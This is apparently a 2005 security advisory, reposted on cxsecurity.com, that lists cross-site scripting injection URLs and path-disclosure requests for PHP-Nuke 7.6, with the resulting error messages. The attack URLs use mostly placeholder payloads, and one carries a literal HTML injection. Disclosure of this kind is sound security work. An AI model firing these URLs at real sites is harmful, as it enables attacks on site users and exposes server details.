PhpNuke 7.6=>x Multiple vulnerabilities

Published
Credit
Risk
2005.09.30
Maksymilian Arciemowicz
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2005-1024
CVE-2005-1023
No
Yes

[PhpNuke 7.6=>x Multiple vulnerabilities cXIb8O3.12]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 3.3.2005
from cxsecurity.com TEAM

- --- 0. For ---
This adv. is only for John Poul II, Polish Pope.
Peace!

- --- 1.Description ---
PHP-Nuke is a Web Portal System, storytelling software, news system, online community or whatever you want to call it.
Its goal is to have an automated web site to distribute news and articles with user system. Each user can submit
comments to discuss the articles, similar to Slashdot and many others. Features: web admin, polls/surveys with comment,
statistics, user customizable box, themes manager, friendly admin GUI, moderation system, sections manager, banner
system, backend/headlines generation, Yahoo like search engine, Ephemerids manager, file manager, download manager, faq
manager, advanced blocks system, reviews system, newsletter, content management, encyclopedia generator, md5 password
encryption, phpBB Forums integration, support for 25 languages, 100% modular and more. Written 100% in PHP and requires
Apache, PHP and a SQL Database Server. Supports MySQL, PostgreSQL, Adabas, mSQL and many others.


- --- 2. XSS ---
2.0
http://[HOST]/[DIR]/banners.php?op=EmailStats&name=sex&bid=[XSS]

2.1
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num

2.2
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num

2.3
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]

2.4
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]

2.5
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]

2.6
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]

2.7
http://[HOST]/[DIR]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS]

- --- 3. Path Disclousure ---

3.0
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments

Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------

3.1
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=showreply

Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------

3.2
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=DisplayTopic

Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------

3.3
http://[HOST]/[DIR]/themes/3D-Fantasy/theme.php

Error message :
- ---------------
Warning: main(themes/3D-Fantasy/tables.php) [function.main]: failed to open stream: No such file or directory in
/www/phpnuke/76/html/themes/3D-Fantasy/theme.php on line 41

Warning: main() [function.include]: Failed opening 'themes/3D-Fantasy/tables.php' for inclusion (include_path='.:') in
/www/phpnuke/76/html/themes/3D-Fantasy/theme.php on line 41
- ---------------

- --- 4. How to fix ---
Because phpnuke don't have security contact, you can download my patch

- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >



See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2016, cxsecurity.com